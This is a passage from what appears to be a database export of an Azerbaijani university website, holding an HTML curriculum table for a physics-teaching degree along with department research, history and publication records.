style=\"height:15pt;border-top:none;background-color:#ff9900\">ENGL 103</td>\r\n  <td class=\"xl73\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt;background-color:#ff9900\">Akademik\r\n  ingilis dili&nbsp;</td>\r\n  <td class=\"xl73\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt;background-color:#ff9900;text-align:right\">4</td>\r\n  <td class=\"xl71\" style=\"border-top:none;border-left:none;background-color:#ff9900\">ENGL 102</td>\r\n  <td class=\"xl67\" style=\"background-color:#ff9900\">&nbsp;</td>\r\n  <td class=\"xl69\" style=\"border-top:none;background-color:#ff9900\">ENGL 216</td>\r\n  <td class=\"xl74\" width=\"243\" style=\"border-top:none;border-left:none;width:182pt;background-color:#ff9900\">Xüsusi\r\n  məqsədlər üçün ingilis dilini</td>\r\n  <td class=\"xl74\" width=\"62\" style=\"border-top:none;border-left:none;width:47pt;background-color:#ff9900\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#ff9900\">ENGL 103</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl78\" width=\"86\" style=\"height:15pt;border-top:none;width:65pt;background-color:#ff9900\">PSYC 304</td>\r\n  <td class=\"xl78\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt;background-color:#ff9900\">Təhsil\r\n  psixologiyasının əsasları&nbsp;</td>\r\n  <td class=\"xl72\" style=\"border-top:none;border-left:none;background-color:#ff9900;text-align:right\">3</td>\r\n  <td class=\"xl72\" style=\"border-top:none;border-left:none;background-color:#ff9900\">EDU 101</td>\r\n  <td class=\"xl67\" style=\"background-color:#ff9900\">&nbsp;</td>\r\n  <td class=\"xl70\" width=\"83\" style=\"border-top:none;width:62pt;background-color:#ff9900\">PHSC 205</td>\r\n  <td class=\"xl70\" width=\"243\" style=\"border-top:none;border-left:none;width:182pt;background-color:#ff9900\">Molekyular\r\n  fizika&nbsp;</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#ff9900\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#ff9900\">MATH 101</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl86\" width=\"86\" style=\"height:15pt;border-top:none;width:65pt;background-color:#ff9900\">PHSC 203</td>\r\n  <td class=\"xl78\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt;background-color:#ff9900\">Klassik\r\n  mexanika</td>\r\n  <td class=\"xl73\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt;background-color:#ff9900;text-align:right\">3</td>\r\n  <td class=\"xl72\" style=\"border-top:none;border-left:none;background-color:#ff9900\">MATH 101</td>\r\n  <td class=\"xl67\" style=\"background-color:#ff9900\">&nbsp;</td>\r\n  <td class=\"xl87\" width=\"83\" style=\"border-top:none;width:62pt;background-color:#ff9900\">ENGR 303</td>\r\n  <td class=\"xl70\" width=\"243\" style=\"border-top:none;border-left:none;width:182pt;background-color:#ff9900\">Termodinamika&nbsp;</td>\r\n  <td class=\"xl74\" width=\"62\" style=\"border-top:none;border-left:none;width:47pt;background-color:#ff9900\">3</td>\r\n  <td class=\"xl74\" width=\"85\" style=\"border-top:none;border-left:none;width:64pt;background-color:#ff9900\">yox</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl78\" width=\"86\" style=\"height:15pt;border-top:none;width:65pt;background-color:#ff9900\">PSHC 111</td>\r\n  <td class=\"xl78\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt;background-color:#ff9900\">Astronomiya&nbsp;</td>\r\n  <td class=\"xl72\" style=\"border-top:none;border-left:none;background-color:#ff9900;text-align:right\">3</td>\r\n  <td class=\"xl72\" style=\"border-top:none;border-left:none;background-color:#ff9900\">yox&nbsp;</td>\r\n  <td class=\"xl67\" style=\"background-color:#ff9900\">&nbsp;</td>\r\n  <td class=\"xl70\" width=\"83\" style=\"border-top:none;width:62pt;background-color:#ff9900\">MATH 396</td>\r\n  <td class=\"xl70\" width=\"243\" style=\"border-top:none;border-left:none;width:182pt;background-color:#ff9900\">Xətti\r\n  cəbr və analitik həndəsə&nbsp;</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#ff9900\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#ff9900\">MATH 102</td>\r\n </tr>\r\n <tr height=\"33\" style=\"height:24.75pt\">\r\n  <td height=\"33\" class=\"xl72\" style=\"height:24.75pt;border-top:none;background-color:#ff9900\">PHİl 101&nbsp;</td>\r\n  <td class=\"xl78\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt;background-color:#ff9900\">Fəlsəfəyə\r\n  giriş (humanitar-1)</td>\r\n  <td class=\"xl72\" style=\"border-top:none;border-left:none;background-color:#ff9900;text-align:right\">3</td>\r\n  <td class=\"xl72\" style=\"border-top:none;border-left:none;background-color:#ff9900\">yox&nbsp;</td>\r\n  <td class=\"xl67\" style=\"background-color:#ff9900\">&nbsp;</td>\r\n  <td class=\"xl70\" width=\"83\" style=\"border-top:none;width:62pt;background-color:#ff9900\">EDU 496</td>\r\n  <td class=\"xl70\" width=\"243\" style=\"border-top:none;border-left:none;width:182pt;background-color:#ff9900\">Sinfin\r\n  idarəolunması (sosial-1)</td>\r\n  <td class=\"xl74\" width=\"62\" style=\"border-top:none;border-left:none;width:47pt;background-color:#ff9900\">3</td>\r\n  <td class=\"xl75\" style=\"border-top:none;border-left:none;background-color:#ff9900\">EDU 101</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl72\" style=\"height:15pt;border-top:none;background-color:#ff9900\">&nbsp;</td>\r\n  <td class=\"xl72\" style=\"border-top:none;border-left:none;background-color:#ff9900\">&nbsp;</td>\r\n  <td class=\"xl80\" style=\"border-top:none;border-left:none;background-color:#ff9900\">&nbsp;</td>\r\n  <td class=\"xl88\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt;background-color:#ff9900\">&nbsp;</td>\r\n  <td class=\"xl67\" style=\"background-color:#ff9900\">&nbsp;</td>\r\n  <td class=\"xl70\" width=\"83\" style=\"border-top:none;width:62pt;background-color:#ff9900\">SPH 202</td>\r\n  <td class=\"xl70\" width=\"243\" style=\"border-top:none;border-left:none;width:182pt;background-color:#ff9900\">Nitq\r\n  mədəniyyəti (humanitar-2)</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#ff9900\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#ff9900\">yox</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl65\" style=\"height:15pt;border-top:none;background-color:#ff9900\">&nbsp;</td>\r\n  <td class=\"xl89\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt;background-color:#ff9900\">Credit</td>\r\n  <td class=\"xl88\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt;background-color:#ff9900\">16</td>\r\n  <td class=\"xl90\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt;background-color:#ff9900\">&nbsp;</td>\r\n  <td class=\"xl91\" style=\"background-color:#ff9900\">&nbsp;</td>\r\n  <td class=\"xl65\" style=\"border-top:none;background-color:#ff9900\">&nbsp;</td>\r\n  <td class=\"xl89\" width=\"243\" style=\"border-top:none;border-left:none;width:182pt;background-color:#ff9900\">Credit</td>\r\n  <td class=\"xl88\" width=\"62\" style=\"border-top:none;border-left:none;width:47pt;background-color:#ff9900\">18</td>\r\n  <td class=\"xl90\" width=\"85\" style=\"border-top:none;border-left:none;width:64pt;background-color:#ff9900\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td colspan=\"9\" height=\"20\" class=\"xl107\" style=\"height:15.0pt\">3-cü il</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl66\" style=\"height:15pt;background-color:#ff99ff\">Kod</td>\r\n  <td class=\"xl95\" width=\"216\" style=\"border-left:none;width:162pt;background-color:#ff99ff\">Payiz</td>\r\n  <td class=\"xl95\" width=\"46\" style=\"border-left:none;width:35pt;background-color:#ff99ff\">KU</td>\r\n  <td class=\"xl68\" width=\"140\" style=\"border-left:none;width:105pt;background-color:#ff99ff\">Prerekvizit</td>\r\n  <td class=\"xl91\" style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl66\" style=\"background-color:#ff99ff\">CODE</td>\r\n  <td class=\"xl95\" width=\"243\" style=\"border-left:none;width:182pt;background-color:#ff99ff\">Yaz</td>\r\n  <td class=\"xl95\" width=\"62\" style=\"border-left:none;width:47pt;background-color:#ff99ff\">KU</td>\r\n  <td class=\"xl68\" width=\"85\" style=\"border-left:none;width:64pt;background-color:#ff99ff\">Prerekvizit</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" width=\"86\" style=\"height:15pt;border-top:none;width:65pt;background-color:#ff99ff\">PHSC 307</td>\r\n  <td class=\"xl70\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt;background-color:#ff99ff\">Kvant\r\n  mexanikası&nbsp;</td>\r\n  <td class=\"xl70\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt;background-color:#ff99ff\">3</td>\r\n  <td class=\"xl70\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt;background-color:#ff99ff\">PHSC\r\n  203</td>\r\n  <td class=\"xl67\" style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl70\" width=\"83\" style=\"border-top:none;width:62pt;background-color:#ff99ff\">MATH 310</td>\r\n  <td class=\"xl70\" width=\"243\" style=\"border-top:none;border-left:none;width:182pt;background-color:#ff99ff\">Diferensial\r\n  tənliklər</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">MATH 102</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" width=\"86\" style=\"height:15pt;border-top:none;width:65pt;background-color:#ff99ff\">PHSC 309</td>\r\n  <td class=\"xl70\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt;background-color:#ff99ff\">Optika&nbsp;</td>\r\n  <td class=\"xl70\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt;background-color:#ff99ff\">3</td>\r\n  <td class=\"xl70\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt;background-color:#ff99ff\">MATH\r\n  101</td>\r\n  <td class=\"xl67\" style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl70\" width=\"83\" style=\"border-top:none;width:62pt;background-color:#ff99ff\">PHSC 313</td>\r\n  <td class=\"xl70\" width=\"243\" style=\"border-top:none;border-left:none;width:182pt;background-color:#ff99ff\">Akustika&nbsp;</td>\r\n  <td class=\"xl70\" width=\"62\" style=\"border-top:none;border-left:none;width:47pt;background-color:#ff99ff\">3</td>\r\n  <td class=\"xl70\" width=\"85\" style=\"border-top:none;border-left:none;width:64pt;background-color:#ff99ff\">MATH\r\n  101</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" width=\"86\" style=\"height:15pt;border-top:none;width:65pt;background-color:#ff99ff\">PHSC 311</td>\r\n  <td class=\"xl70\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt;background-color:#ff99ff\">Elektrodinamika&nbsp;</td>\r\n  <td class=\"xl70\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt;background-color:#ff99ff\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">MATH 101</td>\r\n  <td class=\"xl67\" style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl69\" style=\"border-top:none;background-color:#ff99ff\">EDU 302</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">Kurikulum və qiymətl</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">3</td>\r\n  <td class=\"xl70\" width=\"85\" style=\"border-top:none;border-left:none;width:64pt;background-color:#ff99ff\">EDU\r\n  101</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" width=\"86\" style=\"height:15pt;border-top:none;width:65pt;background-color:#ff99ff\">CMS 316</td>\r\n  <td class=\"xl70\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt;background-color:#ff99ff\">Verilənlərin\r\n  bazasının sistemləri&nbsp;</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">3</td>\r\n  <td class=\"xl70\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt;background-color:#ff99ff\">CMS\r\n  101</td>\r\n  <td class=\"xl67\" style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl69\" style=\"border-top:none;background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">ixtisas seçmə-1</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">yox&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl69\" style=\"height:15pt;border-top:none;background-color:#ff99ff\">MGT 410</td>\r\n  <td class=\"xl96\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">Təşkilati\r\n  davranış(sosial-2)</td>\r\n  <td class=\"xl70\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt;background-color:#ff99ff\">3</td>\r\n  <td class=\"xl70\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt;background-color:#ff99ff\">yox&nbsp;</td>\r\n  <td class=\"xl67\" style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl70\" width=\"83\" style=\"border-top:none;width:62pt;background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">ixtisas seçmə-2</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">yox&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl69\" style=\"height:15pt;border-top:none;background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl70\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt;background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl67\" style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl71\" style=\"border-top:none;background-color:#ff99ff\">MED 315</td>\r\n  <td class=\"xl85\" width=\"243\" style=\"border-top:none;border-left:none;width:182pt;background-color:#ff99ff\">Mülki\r\n  müdafiə və tibbi biliklərin əsasları</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">3</td>\r\n  <td class=\"xl73\" width=\"85\" style=\"border-top:none;border-left:none;width:64pt;background-color:#ff99ff\">yox&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl69\" style=\"height:15pt;border-top:none;background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl68\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt;background-color:#ff99ff\">Credit</td>\r\n  <td class=\"xl68\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt;background-color:#ff99ff\">15</td>\r\n  <td class=\"xl70\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt;background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl91\" style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl69\" style=\"border-top:none;background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl68\" width=\"243\" style=\"border-top:none;border-left:none;width:182pt;background-color:#ff99ff\">Credit</td>\r\n  <td class=\"xl68\" width=\"62\" style=\"border-top:none;border-left:none;width:47pt;background-color:#ff99ff\">18</td>\r\n  <td class=\"xl70\" width=\"85\" style=\"border-top:none;border-left:none;width:64pt;background-color:#ff99ff\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td colspan=\"9\" height=\"20\" class=\"xl107\" style=\"height:15.0pt\">4-cü il</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl84\" style=\"height:15pt;background-color:#3399ff\">CODE</td>\r\n  <td class=\"xl97\" width=\"216\" style=\"border-left:none;width:162pt;background-color:#3399ff\">Payiz</td>\r\n  <td class=\"xl97\" width=\"46\" style=\"border-left:none;width:35pt;background-color:#3399ff\">KU</td>\r\n  <td class=\"xl92\" width=\"140\" style=\"border-left:none;width:105pt;background-color:#3399ff\">Prerekvizit</td>\r\n  <td class=\"xl91\" style=\"background-color:#3399ff\">&nbsp;</td>\r\n  <td class=\"xl84\" style=\"background-color:#3399ff\">CODE</td>\r\n  <td class=\"xl97\" width=\"243\" style=\"border-left:none;width:182pt;background-color:#3399ff\">Yaz</td>\r\n  <td class=\"xl97\" width=\"62\" style=\"border-left:none;width:47pt;background-color:#3399ff\">KU</td>\r\n  <td class=\"xl92\" width=\"85\" style=\"border-left:none;width:64pt;background-color:#3399ff\">Prerekvizit</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" width=\"86\" style=\"height:15pt;border-top:none;width:65pt;background-color:#3399ff\">EDU 407</td>\r\n  <td class=\"xl70\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt;background-color:#3399ff\">Passiv\r\n  praktika&nbsp;</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#3399ff\">6</td>\r\n  <td class=\"xl74\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt;background-color:#3399ff\">EDU\r\n  101</td>\r\n  <td class=\"xl67\" style=\"background-color:#3399ff\">&nbsp;</td>\r\n  <td class=\"xl72\" style=\"border-top:none;background-color:#3399ff\">EDU 408</td>\r\n  <td class=\"xl78\" width=\"243\" style=\"border-top:none;border-left:none;width:182pt;background-color:#3399ff\">Aktiv\r\n  pedaqoji praktika&nbsp;</td>\r\n  <td class=\"xl78\" width=\"62\" style=\"border-top:none;border-left:none;width:47pt;background-color:#3399ff;text-align:right\">6</td>\r\n  <td class=\"xl72\" style=\"border-top:none;border-left:none;background-color:#3399ff\">EDU 101</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl69\" style=\"height:15pt;border-top:none;background-color:#3399ff\">CMS 202</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#3399ff\">Təhsildə kompüterin\r\n  tətbiqi&nbsp;</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#3399ff\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#3399ff\">CMS 101</td>\r\n  <td class=\"xl67\" style=\"background-color:#3399ff\">&nbsp;</td>\r\n  <td class=\"xl78\" width=\"83\" style=\"border-top:none;width:62pt;background-color:#3399ff\">PHSC 419&nbsp;</td>\r\n  <td class=\"xl78\" width=\"243\" style=\"border-top:none;border-left:none;width:182pt;background-color:#3399ff\">Radiofizika&nbsp;</td>\r\n  <td class=\"xl77\" width=\"62\" style=\"border-top:none;border-left:none;width:47pt;background-color:#3399ff;text-align:right\">3</td>\r\n  <td class=\"xl78\" width=\"85\" style=\"border-top:none;border-left:none;width:64pt;background-color:#3399ff\">ETR\r\n  357</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" width=\"86\" style=\"height:15pt;border-top:none;width:65pt;background-color:#3399ff\">ETR 357</td>\r\n  <td class=\"xl70\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt;background-color:#3399ff\">Elektromaqnetizm&nbsp;</td>\r\n  <td class=\"xl70\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt;background-color:#3399ff\">3</td>\r\n  <td class=\"xl70\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt;background-color:#3399ff\">MATH\r\n  101</td>\r\n  <td class=\"xl67\" style=\"background-color:#3399ff\">&nbsp;</td>\r\n  <td class=\"xl78\" width=\"83\" style=\"border-top:none;width:62pt;background-color:#3399ff\">&nbsp;</td>\r\n  <td class=\"xl72\" style=\"border-top:none;border-left:none;background-color:#3399ff\">ixtisas seçmə-2</td>\r\n  <td class=\"xl72\" style=\"border-top:none;border-left:none;background-color:#3399ff;text-align:right\">3</td>\r\n  <td class=\"xl72\" style=\"border-top:none;border-left:none;background-color:#3399ff\">yox&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" width=\"86\" style=\"height:15pt;border-top:none;width:65pt;background-color:#3399ff\">PHSC 415</td>\r\n  <td class=\"xl70\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt;background-color:#3399ff\">Nüvə\r\n  fizikası&nbsp;</td>\r\n  <td class=\"xl70\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt;background-color:#3399ff\">3</td>\r\n  <td class=\"xl70\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt;background-color:#3399ff\">PHSC\r\n  311</td>\r\n  <td class=\"xl67\" style=\"background-color:#3399ff\">&nbsp;</td>\r\n  <td class=\"xl78\" width=\"83\" style=\"border-top:none;width:62pt;background-color:#3399ff\">PHSC 417&nbsp;</td>\r\n  <td class=\"xl78\" width=\"243\" style=\"border-top:none;border-left:none;width:182pt;background-color:#3399ff\">Nüvə\r\n  fizikası və elementlər</td>\r\n  <td class=\"xl77\" width=\"62\" style=\"border-top:none;border-left:none;width:47pt;background-color:#3399ff;text-align:right\">3</td>\r\n  <td class=\"xl78\" width=\"85\" style=\"border-top:none;border-left:none;width:64pt;background-color:#3399ff\">PHSC\r\n  415</td>\r\n </tr>\r\n <tr height=\"40\" style=\"height:30.0pt\">\r\n  <td height=\"40\" class=\"xl70\" width=\"86\" style=\"height:30pt;border-top:none;width:65pt;background-color:#3399ff\">EDU 452</td>\r\n  <td class=\"xl70\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt;background-color:#3399ff\">Fizikanın\r\n  tədrisi metodikası&nbsp;</td>\r\n  <td class=\"xl76\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt;background-color:#3399ff\">3</td>\r\n  <td class=\"xl70\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt;background-color:#3399ff\">EDU\r\n  101</td>\r\n  <td class=\"xl67\" style=\"background-color:#3399ff\">&nbsp;</td>\r\n  <td class=\"xl72\" style=\"border-top:none;background-color:#3399ff\">&nbsp;</td>\r\n  <td class=\"xl72\" style=\"border-top:none;border-left:none;background-color:#3399ff\">&nbsp;</td>\r\n  <td class=\"xl72\" style=\"border-top:none;border-left:none;background-color:#3399ff\">&nbsp;</td>\r\n  <td class=\"xl72\" style=\"border-top:none;border-left:none;background-color:#3399ff\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl65\" style=\"height:15pt;border-top:none;background-color:#3399ff\">&nbsp;</td>\r\n  <td class=\"xl93\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt;background-color:#3399ff\">Credit</td>\r\n  <td class=\"xl92\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt;background-color:#3399ff\">18</td>\r\n  <td class=\"xl90\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt;background-color:#3399ff\">&nbsp;</td>\r\n  <td class=\"xl91\" style=\"background-color:#3399ff\">&nbsp;</td>\r\n  <td class=\"xl65\" style=\"border-top:none;background-color:#3399ff\">&nbsp;</td>\r\n  <td class=\"xl93\" width=\"243\" style=\"border-top:none;border-left:none;width:182pt;background-color:#3399ff\">Credit</td>\r\n  <td class=\"xl92\" width=\"62\" style=\"border-top:none;border-left:none;width:47pt;background-color:#3399ff\">15</td>\r\n  <td class=\"xl90\" width=\"85\" style=\"border-top:none;border-left:none;width:64pt;background-color:#3399ff\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl67\" style=\"height:15pt;background-color:#3399ff\">&nbsp;</td>\r\n  <td class=\"xl98\" style=\"background-color:#3399ff\">Total Credit for Graduation</td>\r\n  <td class=\"xl99\" style=\"background-color:#3399ff;text-align:right\">132</td>\r\n  <td class=\"xl100\" style=\"background-color:#3399ff\">&nbsp;</td>\r\n  <td class=\"xl98\" style=\"background-color:#3399ff\">&nbsp;</td>\r\n  <td class=\"xl98\" style=\"background-color:#3399ff\">&nbsp;</td>\r\n  <td class=\"xl98\" style=\"background-color:#3399ff\">&nbsp;</td>\r\n  <td class=\"xl98\" style=\"background-color:#3399ff\">&nbsp;</td>\r\n  <td class=\"xl101\" style=\"background-color:#3399ff\">&nbsp;</td>\r\n </tr></tbody></table> <p style=\"text-align:center\"><br></p>\r\n  <div style=\"text-align:center\"><br></div></div>'),(932,299,'az','Elmi-tədqiqat','Elmi-tədqiqat','<div><br></div><p>Eyni zamanda tədris proqramı ilə yanaşı departamentdə tələbələrin müstəqil elmi-tədqiqat işləri üçün şərait yaradılmışdır. Bu məqsədlə, tətbiqi və tədqiqat laboratoriyaları yaradılmışdır. Hal-hazırda departamentdə tədqiqatlar bu sahələrdə həyata keçirilir:&nbsp;</p><ul style=\"font-size:medium\"><li>Günəş enerjisinin elektrik enerjisinə çevrilməsində alternativ enerji mənbələri və avadanlıqları</li><li>Yeni biomühəndislik avadanlıqları, bioloji aktiv nöqtələrin öyrənilməsi və qurğu konstruksiyası</li></ul><a href=\"http://www.khazar.org/files/pdf/solar_car.pdf\">Solar Car</a>'),(934,301,'az','Tarixi','Tarixi','<p>Elektronika&nbsp;və Telekommunikasiya&nbsp;departamenti 2010-cu ildə yaradılmışdır. Tədris tələbələr üçün uyğun ixtisas təhsilini təmin etmək üçün nəzərdə tutulmuşdur. Əsas elmi kursları başa vurduqdan sonra, tələbələrə sırf ixtisas kursları təklif olunur. Praktiki təcrübə dərəcəsi tələb olunur və müvafiq olaraq, tələbələrdən yay təcrübəsi keçmək tələb olunur. Seçmə fənlər tələbələrin spesifik sahələrdə öz biliklərini inkişaf etdirmək üçün imkan yaradır. </p>'),(935,302,'az','Nəşrlər','Nəşrlər','<p><strong><span style=\"font-size:large\">Elmi işlər:</span>&nbsp;</strong></p><p></p><ol><li>Ahmad Valiyev, Etibar Rzazadeh, Nuru Safarov, Samira Cafarova.&nbsp;Alternative - Renewable Energy Complex on the University Base.&nbsp;American Journal of Embedded System and Applications. Vol. 5, No. 5, 2017, pp.39-43.&nbsp;doi: 10.11648/j.ajesa.20170505.12 .&nbsp;http://www.sciencepublishinggroup.com/journal/paperinfo?journalid=236&amp;doi=10.11648/j.ajesa.20170505.12&nbsp;<br></li><li>R.&nbsp;J.Kasumova, Z.H.Tagiyev, Sh. Sh. Amirov, Sh.A. Shamilova,&nbsp;G. A. Safarova. Phase effects of the parametric interaction in metamaterials.&nbsp;&nbsp; Journal of Russian Laser Research, Volume 38, Number 4, July, 2017, p. 349 - 356 .&nbsp;DOI 10.1007/s10946-017-9652-6 .&nbsp;&nbsp;https://link.springer.com/article/10.1007/s10946-017-9652-6&nbsp;<br></li><li>N. A. Safarov, F.N. Tatardar, S. S. Amirov. The hybride composites based new materials for the&nbsp;Electromechanical and acoustico-electrical converters.Journal of non-oxide glasses vol. 9, no 1, 2017, p. 19 - 23&nbsp;http://www.chalcogen.ro/19_SafarovNA.pdf&nbsp;<br></li><li>S.N. Garibova, &nbsp;S.I. Mekhtiyeva, M.A. Ramazanov. Investigation of luminescence and photoconductivity spectra of Se – As calcogenide glass-like semiconductor system doped by EuF<sub>3</sub>. Azərbaycan MEA, AJP Fizika Jurnalı, № 2, &nbsp;2017, pp.8-10 .&nbsp;http://physics.gov.az/Dom/2017/AJP_Fizika_02_2017_en.pdf&nbsp;<br></li><li>Фефелов С.А., Казакова Л.П., Богословский Н.А., Цендин К.Д., Гарибова С.Н., Мехтиева С.И., Исаев А.И., Алекперов Р.И. Особенности проводимости возникающие при эффекте переключения в тонких пленках халькогенидов системы Ge-Sb-Te. Физика диелектриков. Материалы XIV Международной конференции, Санкт-Петербург, 29мая – 2 июня 2017г.,стр.335-337, 3.&nbsp;<br></li><li>S.N. Garibova, S.I. Mekhtiyeva, A.S. Huseynova, M.A. Ramazanov. Influence of EuF3 impurity on luminescence and photoconductivity spectra of Se-As chalcogenide glass-like semiconductor system.Chalcogenide Letters. Vol. 14, No. 6, June 2017, p. 223 - 226&nbsp;http://www.chalcogen.ro/223_GaribovaS.pdf&nbsp;<br></li><li>E. Nakhmedov,&nbsp; O. Alekperov, F. Tatardar, Yu. M. Shukrinov, I. Rahmonov, K. Sengupta. Effect of magnetic field and 